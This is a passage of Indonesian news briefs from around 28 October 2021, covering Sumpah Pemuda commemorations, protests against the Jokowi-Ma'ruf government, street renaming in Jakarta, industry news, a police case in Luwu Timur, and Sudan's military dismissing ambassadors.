sehingga cepat tertangani hingga tidak sampai menyebar ke orang lain," ucapnya. Wali Kota Jaya Negara menjelaskan berbagai strategi terus dioptimalkan dalam memutus penyebaran COVID-19, salah satunya peningkatan vaksinasi guna membentuk kekebalan kelompok. "Langkah ini kami telah menetapkan target vaksinasi sebanyak 571.783 orang atau 70 persen dari jumlah penduduk yang terdiri tenaga kesehatan, petugas publik, lansia, masyarakat umum rentan dan remaja," katanya. Ia mengatakan capaian vaksinasi COVID-19 saat ini, yakni vaksin satu sebesar 142,90 persen atau 817.130 orang, vaksin kedua sebesar 116,40 persen atau 665.638 orang, dan vaksin ketiga sebesar 106,40 persen atau 12.801 orang. (sws, ant)

Wakil Ketua MPR Dorong Generasi Muda Berkonstribusi di Dunia Politik

Jakarta, FFNN - Wakil Ketua Majelis Permuyawaratan Rakyat, Hidayat Nur Wahid mendorong generasi muda selalu siap siaga berkiprah dan berkontribusi di dunia politik Indonesia. "Kiprah generasi muda di ranah politik diharapkan bisa menghadirkan kebaikan terhadap generasi mereka sendiri, untuk kelanjutan kehidupan bangsa di tengah persaingan mendunia, dan tercapainya cita-cita proklamasi menuju Satu Abad Indonesia Merdeka," ujar Hidayat dalam siaran pers di Jakarta, Kamis, 28 Oktober 2021. Hidayat mengatakan peran anak muda, generasi milenial maupun generasi Z dalam dunia politik pada hakikatnya merupakan kelanjutan dari peran sejarah dan keteladanan para tokoh pendiri bangsa. "Mereka berkiprah sejak masih muda, dengan mempersiapkan diri secara optimal melalui sistem pendidikan yang baik, organisasi yang mumpuni, jiwa kenegarawanan, cinta kemerdekaan, kemajuan bangsa, dan negara yang sangat monumental," jelasnya, sebagaimana dikutip dari Antara. Semua itu, kata dia, terabadikan dengan fakta suksesnya para pemuda yang dengan Kongres Pemuda Indonesia II berhasil menyepakati pilar mendasar untuk mempersatukan bangsa dan mempersiapkan negara Indonesia merdeka melalui Sumpah Pemuda 28 Oktober 1928. “Para anak muda yang menyelenggarakan Kongres Pemuda Indonesia II 26-28 Oktober 1928 itu merupakan anak-anak muda terdidik, yang berasal dari berbagai latar belakang pendidikan, suku, dan agama. Tapi mereka bisa sukses berkiprah, menghadirkan komitmen persatuan bangsa, negara, dan bahasa. Mereka juga melanjutkan kontribusinya dalam pergerakan politik di BPUPK, Panitia Sembilan, PPKI, hingga kemudian melahirkan Indonesia merdeka, dengan Pancasila, UUD 1945, dan NKRI-nya,” ujar dia. Hidayat menambahkan keteladanan sejarah para pemuda pendiri bangsa ini yang seharusnya menjadi penyemangat, modal, dan sekaligus panutan bagi generasi muda saat ini untuk berkiprah dan berkontribusi dalam perpolitikan Indonesia. Dengan demikian, kata dia, muncul ide-ide segar dan terobosan-terobosan penting dalam membangun bangsa dan negara sesuai dengan perkembangan zaman dan tantangan generasi milenial dan generasi Z, namun tetap dalam koridor Pancasila dan kenegarawanan pemuda-pemuda pahlawan bangsa. “Pengalaman sejarah ini perlu dipahami dengan baik dan benar agar menghadirkan haluan dan praktik bernegara yang benar. Karena saat ini sudah terjadi berbagai manuver untuk memutarbalikkan sejarah yang bisa menghadirkan pemahaman sejarah yang salah sehingga bisa menghadirkan arah ke depan yang salah juga. Selain itu berpotensi menimbulkan perpecahan dan munculnya sikap-sikap liberalis, eksklusif, intoleran, atheis, dan radikalis bahkan separatis. Yang semuanya bertentangan dengan keteladanan para pemuda pahlawan bangsa,” tambahnya Dia mengatakan di era reformasi sekarang ini berbagai instrumen sangat mendukung bagi anak muda dan generasi milenial untuk berkiprah serta berkontribusi dalam dunia politik. Pertama, dari segi peraturan perundang-undangan, syarat untuk berkiprah dalam dunia politik dengan menjadi caleg sangat mudah, yakni berusia minimal 17 tahun dan berijazah SMA. Kedua, adanya realita beberapa partai politik yang sangat terbuka dalam mengakomodasi anak muda. Ketiga adalah realita bahwa mayoritas pemilih sekarang adalah generasi muda, generasi milenial dan generasi Z yang merupakan teman dari para pemuda itu sendiri. "Dengan begitu peluang mereka untuk bisa terpilih menjadi sangat besar agar mereka bisa aktif dan efektif dalam berkontribusi mengatasi tantangan di era pascapandemi, era bonus demografi, dan perubahan iklim yang semuanya berdampak langsung pada kehidupan di era mereka nanti," ujarnya. Dia menambahkan semua hal itu tidak bisa diselesaikan secara individual atau aksi sosial belaka, melainkan memerlukan keterlibatan langsung dalam mekanisme pembuatan dan pengambilan kebijakan yang semuanya terkait dengan aksi dan posisi politik. "Berbagai peluang dan tantangan tersebut sudah tersedia sehingga harusnya dimanfaatkan para generasi muda, generasi milenial. Persiapkan diri lebih baik, karena secara politis, rakyat yang makin cerdas dan kritis akan memberikan suaranya untuk mereka yang terbukti lebih baik, lebih siap, dan lebih teruji. Janganlah peluang emas ini dibiarkan. (MD).

Anies Perubahan Nama Jalan Dari Tokoh Betawi Layak Dipertimbangkan

Jakarta, FNN - Gubernur DKI Jakarta, Anies Baswedan menilai usulan perubahan nama jalan dengan nama tokoh Betawi sangat layak dipertimbangkan secara serius. "Usulan-usulan menggunakan nama jalan dengan nama tokoh Betawi layak dipertimbangkan secara serius dengan berbagai konteks yang harus jadi pertimbangan," kata Anies Baswedan pada kegiatan Webinar Perubahan Nama Jalan di Provinsi DKI Jakarta bertema "Meneguhkan Provinsi DKI Jakarta sebagai Pusat Perjuangan serta Kejayaan Bangsa dan Negara" di Jakarta, Kamis, 28 Oktober 2021. Hal tersebut, lanjut Anies, mengingat budaya Betawi merupakan salah satu unsur masyarakat yang memfasilitasi peristiwa penting dalam perjalanan bangsa dan negara Indonesia di Jakarta. "Masyarakat Betawi ini memfasilitasi terjadinya proses persenyawaan antar unsur berbagai bangsa yang terjadi di kota ini," ujarnya, sebagaimana dikutip dari Antara. Namun demikian, Anies mengingatkan bahwa unsur historis juga perlu dipertimbangkan dalam perubahan nama jalan tersebut. Sementara itu, Ketua Komite III DPD RI Sylviana Murni yang sekaligus sebagai penggagas acara mengatakan, komunitas masyarakat Betawi mengusulkan beberapa nama yang merupakan tokoh supaya dijadikan jalan di Ibu Kota. Sejumlah nama tersebut antara lain Ismail Marzuki diusulkan mengubah Jalan Cikini Raya. Nama H Darip diusulkan mengubah Jalan Bekasi Timur Raya, nama Mahbub Djunaedi menggantikan Jalan Salemba Tengah. Nama Guru Marzuki menggantikan Jalan Masjid Jatinegara, dan nama Habib Ali Kwitang menggantikan Jalan Kembang III. Menurut Sylviana, usulan ini berangkat dari keinginan mengenang jasa dan semangat dari para tokoh Betawi tersebut dalam menjalani kehidupan dan dalam perjuangannya. "Dengan usulan tersebut, kami berharap akan tertularkan spirit dari para tokoh Betawi dalam menjalani kehidupan. Di lain sisi juga ingin jalanan Ibu Kota jadi makin harum. Setiap kali kita menatap bisa mengingat dan mempraktikkan semangat perjuangannya," ucap Sylviana. Sylviana juga sepakat harus ada kajian unsur historis yang dipertimbangkan dalam perubahan nama jalan. "Jangan sampai nama jalan sebelumnya yang ternyata mewariskan sejarah dari para pendahulu kita jadi hilang, karenanya ini perlu perhatian secara serius," tutur Sylviana menambahkan. (MD).

Museum Sumpah Pemuda Tutup Hingga Akhir Tahun

Jakarta, FNN - Museum Sumpah Pemuda di Jalan Kramat Raya 106, Jakarta Pusat, tutup sementara hingga akhir tahun 2021 karena direvitalisasi. Kepala Museum Sumpah Pemuda, Tititk Umi Kurniawati mengatakan kunjungan terakhir masyarakat dilakukan pada Rabu 27 Oktober 2021. Kemudian museum akan ditutup mulai Jumat 29 Oktober 2021 sampai akhir Desember 2021. "Terakhir, kemarin kami masih buka tanggal 27 Oktober. Mulai besok, 29 Oktober kita pembongkaran fisik untuk revitalisasi museum sampai akhir Desember," kata Titik saat ditemui di Museum Sumpah Pemuda, Jakarta Pusat, Kamis, 28 Oktober 2021. Titik mengatakan Museum Sumpah Pemuda direncanakan dibuka kembali pada Januari 2022. Revitalisasi dilakukan dengan mengubah tata pamer koleksi museum. Akan tetapi, tidak mengubah bentuk bangunan karena Museum Sumpah Pemuda termasuk dalam cagar budaya. Koleksi benda-benda museum seperti pameran diorama Panitia Kongres Sumpah Pemuda, hingga patung dan monumen akan disimpan sementara. Ada 2.200 koleksi yang disimpan di Museum Sumpah Pemuda. Jumlah tersebut menurun dari 8.304 koleksi setelah diregistrasi dan diinventarisasi. "Setelah diinventarisasi ada 2.200 koleksi, tetapi tidak display semua. Disimpan di gudang. Kebanyakan koleksi kami adalah tokoh-tokoh Sumpah Pemuda," kata Titik, sebagaimana dikutip dari Antara. Museum Sumpah Pemuda seluas 1.400 meter persegi, awalnya merupakan rumah tinggal milik Sie Kong Liang yang kemudian disewakan sebagai indekos kepada para pelajar. Dilansir dari situs resmi Museum Sumpah Pemuda, mahasiswa yang pernah tinggal antara lain Muhammad Yamin, Amir Sjarifoedin, Soerjadi (Surabaya), Soerjadi (Jakarta), Assaat, Abu Hanifah, Abas, Mohammad Amir, Roesmali, Mohammad Tamzil dan Soemanang. (MD).

Aktivis Deklarasikan Perhimpunan Menemukan Kembali Indonesia dan Serukan Revolusi

Jakarta, (FNN) - Sejumlah aktivis mendeklarasikan Perhimpunan Menemukan Kembali Indonesia. Kegiatan tersebut diselenggarakan dalam memperingati Sumpah Pemuda ke-93. Aktivis yang mengeluarkan deklarasi tersebut melihat berbagai permasalahan yang bisa mengancam Indonesia. Deklarasi dilakukan di kantor Dewan Koperasi Indonesia (Dekopin), Jalan Darmawangsa Raya Nomor 18, Jakarta Selatan, Kamis, 28 Oktober 2021. Aktivis yang hadir dan didaulat menyampaikan pandangan kritisnya terhadap kepemimpinan Joko Widodo atau Jokowi antara lain Rocky Gerung; ekonom Faisal Basri; ahli hukum tata negara, Refly Harun; pentolan Koalisi Aksi Menyelamatkan Indonesia (KAMI), Syahganda Nainggolan; pengamat publik, M. Said Didu; mantan anggota DPR RI, Akbar Faizal. Mantan juru bicara Presiden Abdurrahman Wahid (Gusdur), Adhie Massardi yang hadir ikut membacakan puisi yang isinya mengkritisi Jokowi. Tidak ketinggalan aktivis yang juga Wakil Ketua Dekopin, Ferry Juliantono yang menjadi "tuan rumah" sekaligus salah seorang penggagas pertemuan menyampaikan kegalauannya atas kondisi bangsa dan negara. Di awal sambutannya, Ferry Juliantono menjelaskan, tempat tersebut merupakan kantor Dekopin. Kantor tersebut erat kaitan dan bersentuhan langsung dengan rakyat, terutama para pelaku usaha menengah kecil dan mikro (UMKM). "Koperasi adalah sokoguru perekonomian nasional. Mudah-mudahan dari tempat ini lahir sokoguru revolusi Indonesia," kata Ferry. Rocky Gerung menyoroti semakin berkembangnya mental feodal di kalangan anak muda dan kabinet Jokowi. Ia menyebutkan contoh feodalisme di kalangan kabinet Jokowi yang semakin parah. " (Menteri) lapor ke presiden (Jokowi) karena takut di-reshuffle (diganti). Yang dilaporkan tentang Wali Kota Solo," ujar Rocky. Ferry menjelaskan mengenai Perhimpunan Menemukan Kembali Indonesia. "Nama Perhimpunan Menemukan Kembali Indonesia sebenarnya bukan organisasi yang sudah kita bentuk berbulan-bulan, berhari-hari. Akan tetapi, penamaan guna memudahkan kita mengundang teman-teman semua. Salah satu yang ikut menggagas namanya adalah Bung Rocky Gerung," ucap Ferry. (MD/M.Anwar Ibrahim).

Tuntutan Jokowi-Ma’ruf Mundur Makin Menggema

Jakarta, FNN – Momen Hari Sumpah Pemuda dimanfaatkan mahasiswa, kelompok buruh, dan masyarakat sipil yang tergabung dalam Gerakan Buruh Bersama Rakyat (Gebrak) untuk melakukan unjuk rasa memprotes kepemimpinan Jokowi – Ma’ruf yang makin melenceng dari cita-cita reformasi. Aksi digelar dalam rangka mengevaluasi kinerja Presiden Joko Widodo dan Wakil Presiden Ma'ruf Amin pada tahun kedua mereka yang dinilai gagal menyejahterakan rakyat. Mereka menilai kebebasan sipil merosot, pemberantasan korupsi jalan di tempat, hingga mendesak Jokowi mengeluarkan Peraturan Pemerintah Pengganti Undang-Undang (Perppu) atas UU Cipta Kerja dan Minerba. Mereka berkumpul di Jalan Medan Merdeka Selatan, lalu massa berjalan beriringan sembari menyanyikan lagu-lagu perjuangan dan yel-yel menuju ke arah Patung Kuda di Medan Merdeka Barat. Kebanyakan dari massa aksi mengenakan pakaian merah. Ada pemandangan menarik dari peserta aksi, dua di antara peserta massa aksi tampak mengenakan kostum Iron Man dan Satria Baja Hitam dengan tulisan 'Kerja Kayak Robot Gajiku Diserobot' dan 'Korban PHK DRU'. Terpantau, massa Aliansi Rakyat Menggugat yang didominasi ibu-ibu semakin bersemangat. Sebuah spanduk dengan ukuran besar juga dibentangkan oleh massa aksi dengan tulisan: "Mosi Tidak Percaya Kepada DPR RI dan Pemerintahan Jokowi-Maruf. JOKOWI MUNDUR". Ibu-ibu juga membawa sejumlah poster tuntutan seperti "Ngurus Cabe Aja Gak Becus, Minta 3 Periode", "Stop Arogansi Aparat", Usir Penjajah Gaya Baru", hingga "Bebaskan Habib Rizieq". Ketua Umum Kongres Aliansi Serikat Buruh Indonesia (Kasbi) Nining Elitos mengatakan aksi kali ini akan mengevaluasi 2 tahun kinerja pemerintahan Joko Widodo - Maruf Amin, sekaligus bertepatan dengan Hari Sumpah Pemuda. "Dua tahun kepemimpinan Jokowi-Maruf Amin di periode kedua ini tentu dirasakan kita sama-sama, tidak hanya kaum buruh di berbagai sektor, terjadi kemunduran kemerosotan yang luar biasa, ini yang kita hadapi," kata Nining dalam jumpa pers pra-aksi, ditulis Kamis (28/10/2021). Selain KASBI, elemen buruh yang turut bergabung dalam aksi ini adalah Konfederasi Persatuan Buruh Indonesia (KPBI), Konsorsium Pembaruan Agraria (KPA), Sentral Gerakan Buruh Nasional (SGBN), Konfederasi Serikat Nasional (KSN), Serikat Pekerja Media dan Industri Kreatif untuk Demokrasi (SINDIKASI). Nining menjelaskan, dalam aksi kali ini mereka akan membawa sedikitnya 13 tuntutan rakyat antara lain, cabut Omnibus Law Undang-Undang Cipta Kerja dan seluruh aturan turunannya. Lalu pemerintah harus memberikan jaminan kepastian kerja dan kebebasan berserikat dengan setop PHK sepihak dan union busting. Pemerintah juga didesak untuk menghentikan penangkapan aktivis yang membela rakyat, Nining menyebut demokrasi pada rezim hari ini sangat buruk. "Ini dosa besar, saya hidup di masa rezim otoriter, dan merasakan ketika pasca reformasi saya melihatnya ini rezim yang terburuk bagaimana melahirkan regulasi tidak lagi melihat kepentingan rakyat," tutur Nining. Tuntutan keempat, sahkan RUU Perlindungan Pekerja Rumah Tangga; kelima, usut tuntas kasus korupsi BPJS Ketenagakerjaan dan Korupsi Bansos Covid-19. Kemudian, mereka menolak pemberangusan pegawai Komisi Pemberantasan Korupsi (KPK), kembalikan 58 pegawai KPK yang dikeluarkan dengan skema jahat tak lolos Tes Wawasan Kebangsaan. Ketujuh, pemerintah didesak menghentikan rencana liberalisasi agraria dan pembentukan Badan Bank Tanah, serta segera mengembalikan semangat reforma agraria berdasarkan UUD 1945, TAP MPR XI/2001 dan UU Pokok Agraria 1960. Selanjutnya, hentikan kekerasan seksual dengan mengesahkan RUU Penghapusan Kekerasan Seksual; gratiskan biaya pendidikan selama pandemi; dan stop liberalisasi dan komersialisasi pendidikan. Selain buruh, aksi ini juga akan diikuti oleh mahasiswa dari BEM Universitas Indonesia, petani, miskin kota, pemuda, pelajar, jurnalis, perempuan, nelayan, pembela Hak Asasi Manusia (HAM), dan lembaga bantuan hukum. Bertahan di Tengah Guyuran Hujan Peserta aksi tetap melakukan orasinya di tengah guyuran hujan. Mereka memakai jas hujan yang mereka beli dari pedagang asongan di lokasi, membuka payung yang mereka bawa, hingga menggunakan spanduk demo sebagai payung bersama. Sementara, tidak sedikit dari massa aksi itu tidak menggunakan apapun. Pakaian mereka basah terkena guyuran hujan. Di atas mobil komando, beberapa massa aksi tampak masih berdiri. Mereka terus menyuarakan kekecewaan kepada pemerintahan Jokowi-Ma'ruf Amin. Di balik kawat duri, beberapa polisi tetap berjaga menggunakan jas hujan. Aparat Kepolisian telah menyiagakan kawat berduri, mobil water cannon, hingga aparat dengan pakaian Alat Pelindung Diri. Total 1.955 personel gabungan akan berjaga untuk mengamankan aksi unjuk rasa. "1.955 personil gabungan TNI-Polri dan pemprov dan kawat berduri," kata Kasubag Humas Polres Metro Jakarta Pusat, AKP Sam Suharto saat dikonfirmasi. Massa yang berencana long march hingga depan Istana Merdeka ditahan barikade kepolisian di depan Gedung Sapta Pesona, sekitar Patung Arjuna Wijaya. Aparat memasang kawat duri dan bersiaga dengan mobil water canon. Aparat menutup jalan Medan Merdeka Barat dan mengalihkan arus lalu lintas di sekitar Patung Arjuna Wijaya dan Silang Monas. Sebelumnya, Ketua Umum Kongres Aliansi Serikat Buruh Indonesia (Kasbi) Nining Elitos memperkirakan jumlah massa aksi yang tergabung dalam Gebrak sekitar 1.000 orang. Sementara, dari kelompok Badan Eksekutif Mahasiswa (BEM) sekitar 200 orang. (sws dari berbagai sumber)

Kemenperin Apresiasi Hilirisasi Kelapa Jadi Produk Interior Mobil

Jakarta, FNN - Kementerian Perindustrian mengapresiasi keberhasilan PT Rekadaya Multi Adiprima (RMA) yang berlokasi di Gunung Putri, Kabupaten Bogor yang berhasil berinovasi dalam meningkatkan nilai tambah dari serat kelapa menjadi interior mobil. "Capaian inovasi teknologi ini adalah wujud kolaborasi dari berbagai pihak, dengan mengutamakan kualitas produk yang tinggi, yang berarti PT RMA ini mampu memenuhi persyaratan standarisasi produk industri otomotif, yang memang dikenal menghendaki kualitas komponen yang sangat tinggi,” kata Plt Direktur Jenderal Industri Agro Putu Juli Ardika lewat keterangannya diterima di Jakarta, Kamis. Perusahaan itu, melalui peran ARDC (Aditya Research Development Center) sebagai pusat inovasi teknologinya, telah menghasilkan beragam jenis produk bernilai tambah tinggi berbahan baku serat kelapa. Contohnya adalah produk komponen otomotif door trim untuk diaplikasikan pada bagian interior kendaraan roda empat. Produk inovasi PT RMA telah digunakan oleh hampir seluruh pabrikan industri otomotif nasional, dengan pemenuhan pangsa pasar nasional lebih dari 60 persen termasuk untuk pasar ekspor. Kemenperin juga mengapresiasi komitmen PT RMA yang berupaya menciptakan inovasi yang mengutamakan penciptaan nilai tambah bahan baku lokal berupa serat sabut kelapa dan juga mengembangkan teknologi ramah lingkungan berupa pengolahan kain perca limbah industri tekstil (apparel). “Kami juga mengapresiasi PT RMA yang telah menggandeng Usaha Kecil Mikro dan Menengah (UMKM) di daerah penghasil kelapa, antara lain Provinsi Riau dan Jawa Barat bagian selatan sebagai pemasok bahan baku industri komponen otomotif di Bogor ini,” imbuhnya. Menurut Putu, hal yang dilakukan PT RMA berkontribusi pada langkah Kemenperin mendorong substitusi impor khususnya pada komoditas komponen otomotif. “Mereka telah memanfaatkan serat kelapa untuk menghasilkan komponen automotive felt yang berfungsi sebagai pelindung bagian bawah mobil dan peredam getaran antar panel bagian interior kendaraan. Penggunaan Serat Kelapa sebagai komponen otomotif dapat menambah kenyamanan penumpang kendaraan tetapi tidak menambah bobot kendaraan secara signifikan,” sebutnya. Di samping itu, PT RMA terus mengeksplorasi peluang penggunaan serat sabut kelapa sebagai bahan baku papan biokomposit (papan particle atau papan serat). Produk ini bisa digunakan untuk memenuhi kebutuhan industri furnitur. “Bahkan, yang kami banggakan juga, perusahaan ini telah membuat produk alat pertahanan dan keamanan untuk kebutuhan TNI. Tentunya produk tersebut juga telah melewati pengujian standar kualitas yang sangat tinggi juga,” tandasnya. Putu menegaskan, pihaknya terus mendukung upaya peningkatan daya saing produk industri dalam negeri yang berkualitas dan berkesinambungan. Jaminan kepastian mutu produk industri menjadi hal yang sangat penting untuk dipertahankan dan senantiasa ditingkatkan. “Salah satu instrumen jaminan kepastian mutu produk industri adalah melalui Standar Nasional Indonesia (SNI),” ujarnya. Kemenperin memfasilitasi perumusan SNI produk industri olahan serat sabut kelapa sebagai baseline kualitas produk yang beredar di Indonesia, sehingga memberikan manfaat berganda bagi produsen, konsumen dan juga Lembaga terkait lainnya. “Contohnya, kami sedang memfasilitasi SNI papan biokomposit berbahan baku serat sabut kelapa untuk komponen bagian interior otomotif,” terangnya. Business Development ARDC Farri Aditya menyampaikan, pihaknya berkomitmen kuat untuk semakin mengoptimalkan kekayaan sumber daya alam di Indonesia, seperti komoditas kelapa. “Prinsip inovasi kami adalah inisiasi langkah kecil dengan fasilitas yang tersedia dan melibatkan multipihak sehingga tercipta langkah kolaboratif dan sharing sumber daya,” tutur Farri. “Kami terus berupaya untuk mengeksplorasi inovasi teknologi secara mandiri, tetapi kami meyakini bahwa adanya fasilitasi regulasi atau payung hukum dari pemerintah melalui Kemenperin untuk menyusun kolaborasi multipihak termasuk dengan pihak BUMN dan/atau sektor industri lainnya, maka akan tercipta ekosistem inovasi, yang tentunya dapat melibatkan UKM serta UMKM sebagai mitra strategis,” paparnya. Saat ini, produk PT RMA telah memasok kebutuhan industri otomotif, furnitur, infrastrukur, kesehatan, dan pertahanan-keamanan. “Agar dapat mendukung keberlangsungan usaha ini, kami juga mengharapkan integrasi rantai nilai dari hulu hingga hilir, untuk menjaga keberlanjutan produktivitas dan operasional industri yang kuat, mantap, dan mempunyai resiliensi tinggi,” imbuhnya. (mth)

Polda Sulsel Kesulitan Panggil Ibu Anak Korban Rudupaksa di Lutim

Makassar, FNN - Kepala Bidang Humas Polda Sulawesi Selatan Kombes Pol E Zulpan menyatakan kesulitan menemui sekaligus memanggil RA, ibu anak korban kasus rudupaksa diduga oleh ayahnya, untuk diambil keterangan tambahan berkaitan dengan pelaporan atas kasusnya di Kabupaten Luwu Timur. "Sekarang ibu RA dan tiga anak korban, kesulitan hadirkan. Kami harap dia hadir dan beri keterangan tambahan yang sangat berguna bagi penyidik meningkatkan penyelidikan dan penyidikan kasus ini lebih lanjut," kata Zulpan di Makassar, Kamis. Menurut dia, RA belum pernah menghadiri panggilan penyidik, bahkan tim telah berusaha menemui baik di rumahnya maupun di kantor instansi pemerintah Pemda Luwu bekerja sebagai ASN, bahkan informasi yang diperoleh yang bersangkutan telah mengajukan cuti Kendati demikian, untuk perkembangan kasus tersebut, kata perwira menengah Polri itu, penyidik Polres Luwu Timur telah memanggil pelapor RA dan tante anak korban guna pengembangan informasi berkaitan penanganan kasus tersebut. Hanya saja, tante anak korban menyatakan siap hadir. "Dengan adanya tante anak korban ini akan sedikit membantu. Diharapkan bisa berikan info lebih banyak untuk penyidik mengali keterangan lain yang dibutuhkan," katanya. Namun demikian, kasus ini tentunya mendapat perhatian serius dari Mabes Polri karena sementara dilakukan asesmen termasuk mencari informasi tambahan atas kasus itu. Sejauh ini, tim kepolisian tetap fokus melaksanakan penyelidikan sesuai temuan baru adanya hasil visum dari Rumah Sakit PT Vale, melalui dokter Imelda yang mengatakan ada peradangan pada bagian alat kelamin anak korban. "Itu kita mau gali. Makanya, kita butuh kehadiran ketiga anak ini. Rekomendasi dokter seperti itu, untuk diperiksa lagi oleh dokter spesialis kandungan," paparnya. Saat ditanyakan bagaimana dengan penanganan laporan balik terlapor dalam hal ini ayah anak tiga korban terduga melakukan rudupaksa berinisial SF, kata dia, sudah diambil keterangannya di Polda Sulsel. "Kemarin sudah diambil keterangan pihak Polda, masih keterangan sementara. Intinya, semua warga punya kedudukan yang sama di mata hukum. Boleh melapor, nanti laporan mana benar tergantung perkembangan penyelidikan oleh penyidik di lapangan," ujar Zulpan. Disinggung dengan pelaporan SF tersebut melabrak aturan mengacu pada Undang-undang nomor 31 tahun 2014 pada poin 10, pelapor, saksi korban tidak dapat digugat pidana dan perdata saat sedang berhadapan dengan hukum sesuai saran dari Lembaga Perlindungan Saksi Korban (LPSK), Zulpan malah meminta awak media bertanya balik ke LPSK. Sebelumnya, kasus ini kembali mengemuka ke publik dan viral pada awal Oktober 2021, atas tulisan Eko Rusdianto dimuat di website project mutaluli.org yang menjadi produk jurnalistik dengan memberi ruang keluhan ibu korban RA atas dihentikannya kasus pencabulan disertai pemerkosaan ketiga anaknya pada 10 Desember 2019 di Polres Luwu Timur oleh SF. (mth)

Panglima Militer Sudan Pecat Enam Dubes

Khartoum, FNN - Panglima Angkatan Darat Sudan Abdel Fattah al-Burhan memecat enam duta besar Sudan, stasiun TV pemerintah melaporkan pada Rabu (27/10). Mereka yang dipecat adalah duta besar Sudan untuk Amerika Serikat, Uni Eropa, China, Qatar, Prancis, dan misi Sudan di Jenewa. Salah satu sumber diplomatik menyebutkan bahwa 12 duta besar negara asing untuk Sudan seperti Amerika Serikat, Uni Emirat Arab, China, dan Prancis menolak pengambilalihan kekuasaan oleh militer, yang terjadi pada Senin (25/10), demikian diberitakan Reuters. Sementara itu menurut laporan Anadolu, Perdana Menteri Abdalla Hamdok dan sejumlah menteri pemerintahan sipil pada Senin ditangkap oleh militer Sudan di tengah situasi genting di negara tersebut. Pada hari itu, Al-Burhan mengumumkan status darurat, membubarkan dewan kedaulatan transisi dan pemerintah, serta menangguhkan sejumlah ketentuan dokumen konstitusional yang menjabarkan transisi politik di Sudan. Setelah kudeta gagal militer bulan lalu, ketegangan mendalam antara militer dan pemerintahan sipil meletus di tengah aksi protes rival baru-baru ini di Ibu Kota Khartoum. Sebelum jatuh ke tangan militer, Sudan diperintah oleh dewan kedaulatan dari pejabat militer dan sipil, sebagai bagian dari pakta bagi-bagi kekuasaan antara militer dan koalisi Pasukan untuk Perubahan dan Kebebasan. Mereka bertugas mengawasi masa transisi sampai digelar pemilu 2023. (sws, ant)

Menperin: IFI Katalis IKM Tingkatkan Skala Bisnis Makanan dan Minuman

Jakarta, FNN - Menteri Perindustrian Agus Gumiwang Kartasasmita menyebut bahwa program Indonesia Food Innovation (IFI), yang digagas Direktorat Jenderal Industri Kecil Menengah dan Aneka (IKMA) Kemenperin, dapat meningkatkan skala bisnis industri kecil menengah (IKM) sektor makanan dan minuman. "Kami berharap bahwa ajang ini mampu menjadi katalis bagi IKM untuk meningkatkan skala bisnis menuju IKM modern yang sesuai dengan kebutuhan pasar, menguntungkan, dan berkesinambungan," kata Menperin saat menghadiri IFI Award secara virtual, Kamis. Agus menyadari adanya tren yang semakin menguat sejak pandemi COVID-19, di mana produk-produk makanan lokal mulai bermunculan kreativitasnya mulai dari makanan ringan, makanan berat, termasuk juga makanan yang menyehatkan. "Kami di Kementerian Perindustrian memandang proses kreasi nilai tambah dari dari produk-produk makanan ini harus difasilitasi, diberikan wadah untuk mendapatkan pelatihan dan penghargasan. Semangat yang menjadi pondasi dari IFI," ujar Menperin, Agus meyakini, bahwa dengan bimbingan yang tepat, serta pembinaan dan pendampingan intensif di sisi teknis dan bisnis, maka IKM dapat naik kelas, Diketahui , salah satu pemenang IFI 2020 yaitu PT Rumah Mocaf Indonesia telah berhasil menembus pasar Eropa melalui fasilitasi-fasilitasi yang diberikan sebagai rangkaian program pembunaan lanjutan bagi peserya IFI seperti spesifikasi HAACP, peni gkatan teknologi, serta perluasan pasar. "Hal ini tentunya tidak dicapai dengan mudah, namun perlu semanggat juang yang tinggi serta kegigihan untuk mendapatkan hasil terbaik," tukas Menperin. Pada kesempatan tersebut, Menperin mengucapkan selamat kepada sembilan IKM pangan kategori produk akhir yang terpilih sebagai peserta program IFI Camp 2021. Utamanya, lanjut Menperin, kepada tiga besar peserta terbaik dari masing-masing kategori, di mana ia menyampaikan selamat atas pencapaiannya di IFI 2021. "Saya yakin, peserta IFI 2021 dapat menjalin kolaborasi dengan para pemangku kepentingan terkait dan bisa tumbuh menjadi pelaku industri gang mandiri serta berdaya saing," ujar Menperin. (mth)

Aliansi BerSinar Dukung Budiman Sudjatmiko Jadi Presiden

Purwokerto, FNN - Pendukung salah satu tokoh reformasi 98, Budiman Sudjatmiko, mendeklarasikan Aliansi BerSinar berupa sebuah perkumpulan yang melibatkan berbagai elemen masyarakat dengan latar belakang beragam profesi. Dalam siaran pers yang diterima ANTARA di Purwokerto, Kabupaten Banyumas, Jawa Tengah, Kamis, anggota Presidium Aliansi BerSinar Ade Gunawan mengatakan bahwa aliansi tersebut bisa dikatakan sebuah lembaga yang mewadahi aspirasi bagi elemen masyarakat yang sangat peduli terhadap iklim demokrasi dalam kehidupan berbangsa dan bernegara di Indonesia. "Aliansi ini, kami deklarasikan pada hari ini (28/10) di Cibinong, Kabupaten Bogor, Jawa Barat. Jika berbicara soal demokrasi, berarti salah satunya terkait dengan sebuah pilihan hak atas rakyat untuk menentukan nasib bangsa dan negaranya sendiri, salah satunya terkait dengan kepemimpinan," katanya. Meskipun pesta demokrasi salah satunya memilih pemimpin di Indonesia akan dilaksanakan pada tahun 2024, dia mengatakan bahwa Aliansi BerSinar ingin mengambil peranan aktif dalam mencari sosok yang pantas untuk ditawarkan kepada rakyat dalam kontestasi pemilihan presiden mendatang. Oleh karena itu, kata dia, Aliansi BerSinar dalam kesempatan deklarasi tersebut telah menetapkan sosok siapa yang akan didorong nantinya. Pada ikrar deklarasi tersebut mendukung salah satu tokoh reformasi 98, tokoh pejuang desa yang telah menginisiasi lahirnya Undang-Undang (UU) Desa, serta paham dalam memenuhi kebutuhan zaman dengan ide-ide pembangunan teknologi menuju Indonesia yang maju, yakni Budiman Sudjatmiko. "Kami bukan untuk memopulerkan Budiman Sudjatmiko, melainkan hanya untuk mengingatkan kepada rakyat bahwa ada salah satu tokoh yang pantas berkontestasi pada Pilpres 2024. Dia paham berdemokrasi, paham kepentingan rakyat, dan yang lebih penting paham akan kemajuan teknologi," kata Ade. Menurut dia, deklarasi pencalonan Budiman Sudjatmiko sebagai calon presiden pada Pilpres 2024 merupakan murni atas kesadaran rakyat untuk memilih calonnya. Ia menegaskan bahwa deklarasi tersebut juga bukan untuk "menantang" kebijakan partai politik yang sudah memiliki mekanisme sendiri dalam menentukan siapa capres yang akan diusung nanti. "Kami menghormati sebuah parpol saat menentukan siapa kadernya yang akan diberi tugas. Namun, kami sebagai rakyat juga berhak untuk mengingatkan ada sosok yang patut diperhitungkan," katanya. Terkait dengan hal itu, lanjut dia, setelah deklarasi, 